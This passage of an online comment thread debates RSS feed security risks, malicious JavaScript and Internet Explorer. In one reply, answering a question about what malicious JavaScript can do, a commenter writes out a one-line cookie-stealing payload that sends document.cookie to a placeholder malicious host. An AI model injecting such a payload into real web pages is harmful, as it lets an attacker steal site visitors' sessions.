    Oh, my, now it turns out that RSS feeds have a potential vulnerability. What a surprise! Imagine now if RSS inherently had links deep within your OS.

    Applications should be separated from the OS and other applications on a Need To Know basis, like in Unix/Linux, not mashed together because some marketing droid figures it'd make a good selling point to the clueless masses.

    Microsoft Windows: Insecure By Design.
    (\soapbox)

    --
    "My country, right or wrong; if right, to be kept right; and if wrong, to be set right." --Senator Carl Schurz (1872)
  42. How about an example of malicious javascript? by cheekymatt · · Score: 1

    OK, here's a question: What *exactly* is malicious javascript? Javascript has no access to your local filesystem, so, aside from displaying something nasty or redirecting the user to some different url, or something like that, what is "malicious javascript" capable of??

    Cheers

    Matt

    1. Re:How about an example of malicious javascript? by y5 · · Score: 1

      window.location = 'http://www.malicioussite.com/?victimcookie=' + document.cookie;

      That's one example off the top of my head. I don't see how this relates to RSS feeds, but examples of malicious javascript injections are definitely out there.

    2. Re:How about an example of malicious javascript? by Anonymous Coward · · Score: 0

      See for yourself:

      http://www.google.co.uk/search?q=%22malicious+java script%22&sourceid=mozilla-search&start=0&start=0& ie=utf-8&oe=utf-8&client=firefox-a&rls=org.mozilla :en-US:official

      Results 1 - 10 of about 83,700 for "malicious javascript".

  43. Re:What sensible feed aggregator allows javascript by jZnat · · Score: 1

    An aggregator that parses HTML with mshtml.dll would be the worst security hole imaginable. libkhtml.so or libmozjs.so/dll (? I don't remember if that contains all of Gecko) might be an improvement, but parsing HTML in a feed (other than the markup I mentioned) is stupid anyhow.

    --
    'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
  44. INCREASING security concerns?! by Anonymous Coward · · Score: 0
    I love deadpan statements like this:

    JavaScript is a scripting language that experts say is increasingly causing security concerns.

    How the hell can Javascript concerns increase?! Javascript was a bad idea from day 1 and I thought security concerns were at pretty much maximum possible (i.e. the only sane thing to do with Javascript was to disable it) for many years.

    If anything, it looks like Javascript security concerns are now decreasing, since more people seem to be re-enabling it and accepting the risks, because of the AJAX fad.

    Or maybe I missed the whole point. Maybe they're saying the concern is increasing, because the fad has people starting to turn it on again? Either way, it just seems weird. Saying Javascript security concerns are increasing, is something like saying that people are starting to get worried about the health effects of nearby nuclear weapon detonations.

    And then there's this:

    Additionally, some reader software on Windows systems uses Internet Explorer to display feed content, but doesn't use basic security settings that isolate the content. Instead, the JavaScript is downloaded to the PC and has full access, which can fully expose a user's PC, Auger said.
    *cough* People are still using an application that has been well-known for over a decade now, to be unsafe for use on the Internet, and now you're blaming Javascript and RSS?! Talk about mis-diagnosis! "Yeah, we're finding that people who live in grass shacks near the nuclear test site, are having health problems. This raises questions about grass shacks."